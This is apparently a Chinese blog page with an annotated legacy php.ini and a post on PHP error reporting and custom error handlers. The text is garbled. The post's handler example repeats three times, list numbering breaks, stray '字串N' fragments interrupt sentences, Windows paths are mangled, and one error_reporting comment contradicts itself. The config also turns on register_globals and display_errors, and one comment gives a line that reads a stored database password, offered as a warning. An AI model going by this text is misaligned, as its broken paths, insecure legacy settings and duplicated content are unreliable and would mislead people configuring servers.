;;;;;;;;;;;;;;;;;;;

max_execution_time = 30 ; 每个脚本的最大执行时间, 按秒计
memory_limit = 8388608 ; 一个脚本最大可使用的内存总量 (这里是8MB)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Error handling and logging ;
; 出错控制和登记 ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; 错误报告是按位的。或者将数字加起来得到想要的错误报告等级。

; E_ALL - 所有的错误和警告
; E_ERROR - 致命性运行时错
; E_WARNING - 运行时警告(非致命性错)
; E_PARSE - 编译时解析错误
; E_NOTICE - 运行时提醒(这些经常是是你的代码的bug引起的,
;也可能是有意的行为造成的。(如:基于未初始化的变量自动初始化为一个
;空字符串的事实而使用一个未初始化的变量)

; E_CORE_ERROR - 发生于PHP启动时初始化过程中的致命错误
; E_CORE_WARNING - 发生于PHP启动时初始化过程中的警告(非致命性错)
; E_COMPILE_ERROR - 编译时致命性错
; E_COMPILE_WARNING - 编译时警告(非致命性错)
; E_USER_ERROR - 用户产生的出错消息
; E_USER_WARNING - 用户产生的警告消息
; E_USER_NOTICE - 用户产生的提醒消息
; 例子:
; error_reporting = E_ALL & ~E_NOTICE ; 显示所有的错误,除了提醒
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; 仅显示错误
error_reporting = E_ALL & ~E_NOTICE ; 显示所有的错误,除了提醒
display_errors = On ; 显示出错误信息(作为输出的一部分)
; 在最终发布的web站点上,强烈建议你关掉这个特性,并使用

字串8

; 错误日志代替(参看下面)。
; 在最终发布的web站点继续让 display_errors 有效可能
; 暴露一些有关安全的信息,例如你的web服务上的文件路径、
; 你的数据库规划或别的信息。

log_errors = Off ; 在日志文件里记录错误(服务器指定的日志,stderr标准错误输出,或error_log(下面的))
; 正如上面说明的那样,强烈建议你在最终发布的web站点以日志记录错误
; 取代直接错误输出。

track_errors = Off ; 保存最近一个 错误/警告 消息于变量 $php_errormsg (boolean)
;error_prepend_string = "<font color=ff0000>" ; 于错误信息前输出的字符串
;error_append_string = "</font>" ; 于错误信息后输出的字符串
;error_log = filename ; 记录错误日志于指定文件
;error_log = syslog ; 记录错误日志于系统日志 syslog (NT 下的事件日志, Windows 95下无效)
warn_plus_overloading = Off ; 当将‘ ’用于字符串时警告

;;;;;;;;;;;;;;;;;
; Data Handling ;
;;;;;;;;;;;;;;;;;
variables_order = "EGPCS" ; 这条指示描述了PHP 记录 字串6

; GET, POST, Cookie, Environment and Built-in 这些变量的顺序。
; (以 G, P, C, E & S 代表,通常以 EGPCS 或 GPC 的方式引用)。
; 按从左到右记录,新值取代旧值。

register_globals = On ; 是否将这些 EGPCS 变量注册为全局变量。
; 若你不想让用户数据不在全局范围内混乱的话,你可能想关闭它。
; 这和 track_vars 连起来用更有意义 — 这样你可以通过
; $HTTP_*_VARS[] 数组访问所有的GPC变量。

register_argc_argv = On ; 这条指示告诉 PHP 是否声明 argv和argc 变量
; (注:这里argv为数组,argc为变量数)
; (其中包含用GET方法传来的数据)。
; 若你不想用这些变量,你应当关掉它以提高性能。

track_vars = On ; 使$HTTP_*_VARS[]数组有效,这里*在使用时用
; ENV, POST, GET, COOKIE or SERVER替换

gpc_order = "GPC" ; 这条指示被人反对。用 variables_order 代替。

; Magic quotes
magic_quotes_gpc = On ; 在输入的GET/POST/Cookie数据里使用魔术引用
; (原文就这样,呵呵,所谓magic quotes 应该是指用转义符加在引用性的控制字符上,如 &acute;....)

字串8

magic_quotes_runtime= Off ; 对运行时产生的数据使用魔术引用,
; 例如:用SQL查询得到的数据,用exec()函数得到的数据,等等
magic_quotes_sybase = Off ; 采用 Sybase形式的魔术引用(用 &acute;&acute; 脱出 &acute; 而不用 &acute;)

; 自动在 PHP 文档之前和之后添加文件
auto_prepend_file =
auto_append_file =

; 象4.04b4一样,PHP 默认地总是在 “Content-type:” 头标输出一个字符的编码方式。
; 让输出字符集失效,只要设置为空。
; PHP 的内建默认值是 text/html
default_mimetype = "text/html"
;default_charset = "iso-8859-1"

;;;;;;;;;;;;;;;;;;;;;;;;;
; Paths and Directories ;
;;;;;;;;;;;;;;;;;;;;;;;;;
include_path = ; include 路径设置,UNIX: "/path1:/path2" Windows: "path1;path2"
doc_root = ; php 页面的根路径,仅在非空时有效
user_dir = ; 告知 php 在使用 /~username 打开脚本时到哪个目录下去找,仅在非空时有效
;upload_tmp_dir = ; 存放用HTTP协议上载的文件的临时目录(在没指定时使用系统默认的)

字串9

upload_max_filesize = 2097152 ; 文件上载默认地限制为2 Meg
extension_dir = c:php ; 存放可加载的扩充库(模块)的目录
enable_dl = On ; 是否使dl()有效。
; 在多线程的服务器上 dl()函数*不能*很好地工作,
; 例如IIS or Zeus,并在其上默认为禁止

;;;;;;;;;;;;;;;;;;;;;;
; 动态扩展 ;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
; 若你希望一个扩展库自动加载,用下面的语法:
; extension=modulename.extension
; 例如,在windows上,
; extension=msql.dll
; or 在UNIX下,
; extension=msql.so
; 注意,这只应当是模块的名字,不需要目录信息放在里面。
; 用上面的 extension_dir 指示指定扩展库的位置。

;Windows 扩展
;extension=php_nsmail.dll
extension=php_calendar.dll
;extension=php_dbase.dll
;extension=php_filepro.dll
extension=php_gd.dll
;extension=php_dbm.dll
;extension=php_mssql.dll

;extension=php_zlib.dll
;extension=php_filepro.dll
;extension=php_imap4r2.dll
;extension=php_ldap.dll
;extension=php_crypt.dll
;extension=php_msql2.dll
;extension=php_odbc.dll
; 注意, MySQL的支持现在是内建的,因此,不需要用它的dll

;;;;;;;;;;;;;;;;;;;
; 模块设定 ;
; Module Settings ;
;;;;;;;;;;;;;;;;;;;

[Syslog]
define_syslog_variables = Off ; 是否定义各种的系统日志变量
; 如:$LOG_PID, $LOG_CRON, 等等。
; 关掉它是个提高效率的好主意。
; 运行时,你可以调用函数define_syslog_variables(),来定义这些变量

[mail function]
SMTP = localhost ;仅用于win32系统
sendmail_from = me@localhost.com ;仅用于win32系统
;sendmail_path = ;仅用于unix, 也可支持参数(默认的是&acute;sendmail -t -i&acute;)

[Debugger]
debugger.host = localhost
debugger.port = 7869
debugger.enabled = False

[Logging]
; 这些配置指示用于示例的日志记录机制。

字串8

; 看 examples/README.logging 以得到更多的解释
;logging.method = db
;logging.directory = /path/to/log/directory

[SQL]
sql.safe_mode = Off

[ODBC]
;uodbc.default_db = Not yet implemented
;uodbc.default_user = Not yet implemented
;uodbc.default_pw = Not yet implemented
uodbc.allow_persistent = On ; 允许或禁止 持久连接
uodbc.check_persistent = On ; 在重用前检查连接是否还可用
uodbc.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
uodbc.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
uodbc.defaultlrl = 4096 ; 控制 LONG 类型的字段。返回变量的字节数,0 代表通过(?)0 means passthru
uodbc.defaultbinmode = 1 ; 控制 二进制数据。0 代表?????Handling of binary data. 0 means passthru, 1 return as is, 2 convert to char
; 见有关 odbc_binmode 和 odbc_longreadlen 的文档以得到 uodbc.defaultlrl 和 uodbc.defaultbinmode 的解释。

[MySQL]
mysql.allow_persistent = On ; 允许或禁止 持久连接
mysql.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制

字串2

mysql.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
mysql.default_port = ; mysql_connect() 使用的默认端口,如不设置,mysql_connect()
; 将使用变量 $MYSQL_TCP_PORT,或在/etc/services 下的mysql-tcp 条目(unix),
; 或在编译是定义的 MYSQL_PORT(按这样的顺序)
; Win32环境,将仅检查MYSQL_PORT。
mysql.default_socket = ; 用于本地 MySql 连接的默认的套接字名。为空,使用 MYSQL 内建值

mysql.default_host = ; mysql_connect() 默认使用的主机(安全模式下无效)
mysql.default_user = ; mysql_connect() 默认使用的用户名(安全模式下无效)
mysql.default_password = ; mysql_connect() 默认使用的密码(安全模式下无效)
; 注意,在这个文件下保存密码通常是一个*坏*主意
; *任何*可以使用PHP访问的用户可以运行
; &acute;echo cfg_get_var("mysql.default_password")&acute;来显示那个密码!
; 而且当然地,任何有读该文件权力的用户也能看到那个密码。

[mSQL]
msql.allow_persistent = On ; 允许或禁止 持久连接
msql.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制

字串1

msql.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制

[PostgresSQL]
pgsql.allow_persistent = On ; 允许或禁止 持久连接
pgsql.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
pgsql.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制

[Sybase]
sybase.allow_persistent = On ; 允许或禁止 持久连接
sybase.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
sybase.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
;sybase.interface_file = "/usr/sybase/interfaces"
sybase.min_error_severity = 10 ; 显示的错误的最低严重性
sybase.min_message_severity = 10 ; 显示的消息的最低重要性
sybase.compatability_mode = Off ; 与旧版的PHP 3.0 兼容的模式。若打开,这将导致 PHP 自动地
; 把根据结果的 Sybase 类型赋予它们,
; 而不是把它们全当成字符串。
; 这个兼容模式不会永远留着,
; 因此,将你的代码进行需要的修改,
; 并将该项关闭。

[Sybase-CT]
sybct.allow_persistent = On ; 允许或禁止 持久连接

字串4

sybct.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
sybct.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
sybct.min_server_severity = 10 ; minimum server message severity to display
sybct.min_client_severity = 10 ; minimum client message severity to display

[bcmath]
bcmath.scale = 0 ; 用于所有bcmath函数的10十进制数数字的个数number of decimal digits for all bcmath functions

[browscap]
;browscap = extra/browscap.ini
browscap = C:WINSYSTEMinetsrvrowscap.ini
[Informix]
ifx.default_host = ; ifx_connect() 默认使用的主机(安全模式下无效)
ifx.default_user = ; ifx_connect() 默认使用的用户名(安全模式下无效)
ifx.default_password = ; ifx_connect() 默认使用的密码(安全模式下无效)
ifx.allow_persistent = On ; 允许或禁止 持久连接
ifx.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制

ifx.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
ifx.textasvarchar = 0 ; 若打开,select 状态符返回一个 ‘text blob’字段的内容,而不是它的id
ifx.byteasvarchar = 0 ; 若打开,select 状态符返回一个 ‘byte blob’字段的内容,而不是它的id
ifx.charasvarchar = 0 ; 追踪从固定长度的字符列里剥离的空格。
; 可能对 Informix SE 用户有效。
ifx.blobinfile = 0 ; 若打开,text和byte blobs 的内容被导出到一个文件
; 而不是保存到内存。
ifx.nullformat = 0 ; NULL(空)被作为空字段返回,除非,这里被设为1。
; 这种情况下(为1),NULL作为字串NULL返回。

[Session]
session.save_handler = files ; 用于保存/取回数据的控制方式
session.save_path = C:win emp ; 在 save_handler 设为文件时传给控制器的参数,
; 这是数据文件将保存的路径。
session.use_cookies = 1 ; 是否使用cookies
session.name = PHPSESSID
; 用在cookie里的session的名字
session.auto_start = 0 ; 在请求启动时初始化session
session.cookie_lifetime = 0 ; 为按秒记的cookie的保存时间, 字串5

; 或为0时,直到浏览器被重启
session.cookie_path = / ; cookie的有效路径
session.cookie_domain = ; cookie的有效域
session.serialize_handler = php ; 用于连接数据的控制器
; php是 PHP 的标准控制器。
session.gc_probability = 1 ; 按百分比的&acute;garbage collection(碎片整理)&acute;进程
; 在每次 session 初始化的时候开始的可能性。
session.gc_maxlifetime = 1440 ; 在这里数字所指的秒数后,保存的数据将被视为
; &acute;碎片(garbage)&acute;并由gc 进程清理掉。
session.referer_check = ; 检查 HTTP引用以使额外包含于URLs中的ids无效
session.entropy_length = 0 ; 从文件中读取多少字节
session.entropy_file = ; 指定这里建立 session id
; session.entropy_length = 16
; session.entropy_file = /dev/urandom
session.cache_limiter = nocache ; 设为{nocache,private,public},以决定 HTTP 的
; 缓存问题
session.cache_expire = 180 ; 文档在 n 分钟后过时

[MSSQL]
;extension=php_mssql.dll
mssql.allow_persistent = On ; 允许或禁止 持久连接 字串5

mssql.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
mssql.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
mssql.min_error_severity = 10 ; 显示的错误的最低严重性
mssql.min_message_severity = 10 ; 显示的消息的最低重要性
mssql.compatability_mode = Off ; 与旧版的PHP 3.0 兼容的模式。

[Assertion]
; ?????
;assert.active = On ; ?assert(expr); active by default
;assert.warning = On ; issue a PHP warning for each failed assertion.
;assert.bail = Off ; don&acute;t bail out by default.
;assert.callback = 0 ; user-function to be called if an assertion fails.
;assert.quiet_eval = 0 ; eval the expression with current error_reporting(). set to true if you want error_reporting(0) around the eval().

[Ingres II]
ii.allow_persistent = On ; 允许或禁止 持久连接
ii.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
ii.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
ii.default_database = ; 默认 database (format : [node_id::]dbname[/srv_class]

字串3

ii.default_user = ; 默认 user
ii.default_password = ; 默认 password

[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com" ; 默认的 Signio 服务器
pfpro.defaultport = 443 ; 连接的默认端口
pfpro.defaulttimeout = 30 ; 按秒计的默认超时时间

; pfpro.proxyaddress = ; 默认的代理的 IP 地址(如果需要)
; pfpro.proxyport = ; 默认的代理的端口
; pfpro.proxylogon = ; 默认的代理的登录(logon 用户名)
; pfpro.proxypassword = ; 默认的代理的密码

; Local Variables:
; tab-width: 4
; End:
 

发表在 article | 标签为 | 35条评论

php错误显示及报告处理

偶然对PHP运行错误的处理及显示有些体会,特此留下记录,方便查询。

首先是对php.ini几个关于错误处理的全局变量的说明:

 •(1)、error_reporting


 (3)、log_errors

•E_ALL - 所有的错误和警告

•E_ERROR - 致命性运行时错
•E_WARNING - 运行时警告(非致命性错)
•E_PARSE - 编译时解析错误
•E_CORE_ERROR - 发生于PHP启动时初始化过程中的致命错误

E_CORE_WARNING - 发生于PHP启动时初始化过程中的警告(非致命性错)

E_COMPILE_ERROR - 编译时致命性错

E_COMPILE_WARNING - 编译时警告(非致命性错)

E_USER_ERROR - 用户产生的出错消息

E_USER_WARNING - 用户产生的警告消息

E_USER_NOTICE - 用户产生的提醒消息
值的设置
error_reporting = E_ALL & ~E_NOTICE ; 显示所有的错误,除了提醒
error_reporting = E_ALL | E_NOTICE ; 显示所有的错误包含除了提醒
display_errors = On ; 显示出错误信息,当Off时,可配合log_errors使用
log_errors = Off ; 在日志文件里记录错误,当为Off时不保存错误,可配合error_log使用
error_log = filename ; 记录错误日志于指定文件
如:error_log = "/usr/local/apache/log/error_log" 或者
    error_log = "d:/window/apache/error_log"
上面那些全局变量可通过修改php.ini直接设置;但也可以在程序里进行修改,如:
<?php
ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
ini_set('error_log', 'd:/window/apache/error_log');
?>
这样当执行如下程序时
<?php
echo $test;
?>
就会在error_log里写入一笔错误信息:
E_NOTICE - 运行时提醒
E_NOTICE - 运行时提醒
 (2)、display_errors•
 (2)、display_errors•PHP还允许您通过 set_error_handler( ) 函数指定您自已的出错处理函数。

如:set_error_handler('my_error_handler');

错误处理函数

function my_error_handler($number, $string, $file, $line, $context)

  {

    $error = "=  ==  ==  ==  ==\nPHP ERROR\n=  ==  ==  ==  ==\n";

    $error .= "Number: [$number]\n";

    $error .= "String: [$string]\n";

    $error .= "File:   [$file]\n";

    $error .= "Line:   [$line]\n";

    $error .= "Context:\n" . print_r($context, TRUE) . "\n\n";

    error_log($error, 3, 'c:\log.txt');

  }

则当

<?php
ini_set('error_reporting', E_ALL | E_STRICT);

ini_set('display_errors', 'Off');

ini_set('log_errors', 'On');

set_error_handler('my_error_handler');

echo $test;

 function my_error_handler($number, $string, $file, $line, $context)  {

    $error = "=  ==  ==  ==  ==\nPHP ERROR\n=  ==  ==  ==  ==\n";

    $error .= "Number: [$number]\n";

    $error .= "String: [$string]\n";

    $error .= "File:   [$file]\n";

    $error .= "Line:   [$line]\n";

    $error .= "Context:\n" . print_r($context, TRUE) . "\n\n";

    error_log($error, 3, 'c:\log.txt');

  }

?>

时,同样会把错误显示在log.txt下。当然也可通过某个函数专门处理错误发生时的流程。

PHP 5还允许向set_error_handler( )传递第二个参数以限定在什么出错情况下执行出定义的出错处理函数。比如,现在建立一个处理告警级别(warning)错误的函数:

  <?php

  set_error_handler('my_warning_handler', E_WARNING);

  ?>

   

如:set_error_handler('my_error_handler');

错误处理函数

function my_error_handler($number, $string, $file, $line, $context)

  {

    $error = "=  ==  ==  ==  ==\nPHP ERROR\n=  ==  ==  ==  ==\n";

    $error .= "Number: [$number]\n";

    $error .= "String: [$string]\n";

    $error .= "File:   [$file]\n";

    $error .= "Line:   [$line]\n";

    $error .= "Context:\n" . print_r($context, TRUE) . "\n\n";

    error_log($error, 3, 'c:\log.txt');

  }

则当

<?php
ini_set('error_reporting', E_ALL | E_STRICT);

ini_set('display_errors', 'Off');

ini_set('log_errors', 'On');

set_error_handler('my_error_handler');

echo $test;

 function my_error_handler($number, $string, $file, $line, $context)  {

    $error = "=  ==  ==  ==  ==\nPHP ERROR\n=  ==  ==  ==  ==\n";

    $error .= "Number: [$number]\n";

    $error .= "String: [$string]\n";

    $error .= "File:   [$file]\n";

    $error .= "Line:   [$line]\n";

    $error .= "Context:\n" . print_r($context, TRUE) . "\n\n";

    error_log($error, 3, 'c:\log.txt');

  }

?>

时,同样会把错误显示在log.txt下。当然也可通过某个函数专门处理错误发生时的流程。

PHP 5还允许向set_error_handler( )传递第二个参数以限定在什么出错情况下执行出定义的出错处理函数。比如,现在建立一个处理告警级别(warning)错误的函数:

  <?php

  set_error_handler('my_warning_handler', E_WARNING);

  ?>

   

如:set_error_handler('my_error_handler');

错误处理函数

function my_error_handler($number, $string, $file, $line, $context)

  {

    $error = "=  ==  ==  ==  ==\nPHP ERROR\n=  ==  ==  ==  ==\n";

    $error .= "Number: [$number]\n";

    $error .= "String: [$string]\n";

    $error .= "File:   [$file]\n";

    $error .= "Line:   [$line]\n";

    $error .= "Context:\n" . print_r($context, TRUE) . "\n\n";

    error_log($error, 3, 'c:\log.txt');

  }

则当

<?php
ini_set('error_reporting', E_ALL | E_STRICT);

ini_set('display_errors', 'Off');

ini_set('log_errors', 'On');

set_error_handler('my_error_handler');

echo $test;

 function my_error_handler($number, $string, $file, $line, $context)  {

    $error = "=  ==  ==  ==  ==\nPHP ERROR\n=  ==  ==  ==  ==\n";

    $error .= "Number: [$number]\n";

    $error .= "String: [$string]\n";

    $error .= "File:   [$file]\n";

    $error .= "Line:   [$line]\n";

    $error .= "Context:\n" . print_r($context, TRUE) . "\n\n";

    error_log($error, 3, 'c:\log.txt');

  }

?>

时,同样会把错误显示在log.txt下。当然也可通过某个函数专门处理错误发生时的流程。

PHP 5还允许向set_error_handler( )传递第二个参数以限定在什么出错情况下执行出定义的出错处理函数。比如,现在建立一个处理告警级别(warning)错误的函数:

  <?php

  set_error_handler('my_warning_handler', E_WARNING);

  ?>

发表在 article | 标签为 | 344条评论